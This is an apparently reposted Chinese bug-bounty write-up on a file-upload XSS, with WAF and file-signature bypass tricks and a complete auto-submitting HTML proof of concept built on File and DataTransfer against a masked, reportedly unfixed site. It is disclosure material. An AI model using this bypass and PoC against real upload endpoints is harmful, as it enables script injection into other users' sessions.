文件上傳導致的xss漏洞


0x01

說一下在某企業src測試中由文件上傳導致的xss漏洞,寫poc時花了不少時間。我在網上查了一下,像這種利用的漏洞很少遇到,便在此記錄一下。因為該漏洞暫未修復,所以在下文中把域名用wbsite.com代替。

0x02

在測試該站點上傳文件功能時,除了檢查文件擴展名,文件類型是否有漏洞外,我還注意到它的響應Content-Type類型是html,因為一般這種類型的請求響應是json的。
我開始嘗試是否可以實現xss,深入研究發現:

1.后端會校驗文件簽名,這個可以繞過,比如png的十六進制簽名頭是:89 50 4E 47 0D 0A 1A 0A,JPG為: FF D8 FF E0 00 10 ,gif為可見的簽名頭:GIF89a。

2.在文件上傳時,后端過濾了",WAF攔截了alert,img標簽等。
經測試可以在body標簽,base64編碼alert()並由eval執行任意JavaScript代碼。
如下payload便可以實現xss:<body onload='eval(atob('YWxlcnQoMTIzKQ=='))'>

3.無法用js實現,因為同源策略會被瀏覽器攔截,所以只能以input 表單的形式來實現。

0x03

1.我開始用文件名與form-data拼接欺騙后端來繞過。
像這樣:
var filename = "file'; filename='file.png";
在body中:

Content-Disposition: form-data; name="file'; filename='file.png";
Content-Type: image/png

這種方法實際行不通,網站會報錯。
2.之后我在js文檔中搜索到可以用File() 構造器創建File對象實例,然后傳遞給input標簽。
new File(bits, name[, options]);
File()主要有兩個參數,bits可以是二進制對象,字符串,或者這些對象的組合,name則是文件名。然后再由DataTransfer()生成新的文件對象。最后賦值給inpu標簽的file屬性。
最終poc如下,頁面filename上的 payload 會自動上傳。

<!DOCTYPE html>
<html>
<head>
    <title>test</title>
    <meta charset="utf-8">
</head>
<body>
<form name="xss" action="https://wbsite.com/file/upload" enctype="multipart/form-data" method="POST">
    <input id='xss'>
    <input type="text" name="sign" value="sign">
</form>
<script type="text/javascript">
var name = "<body onload=eval(atob('YWxlcnQoMTIzKQ=='))>";
let file1 = new File(['GIF87a','\n ','\n a'], name); //換行用 \n
const data = new DataTransfer()
data.items.add(file1)

document.getElementById('xss').type='file';
document.getElementById('xss').name='file';
document.getElementById('xss').multiple =true;
document.getElementById('xss').files=data.files;
document.xss.submit();
</script>
</body>
</html>

0x04

參考鏈接:
https://medium.com/@win3zz/simple-story-of-some-complicated-xss-on-facebook-8a9c0d80969d
https://developer.mozilla.org/zh-CN/docs/Web/API/File/File
https://developer.mozilla.org/zh-CN/docs/Web/API/DataTransfer


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM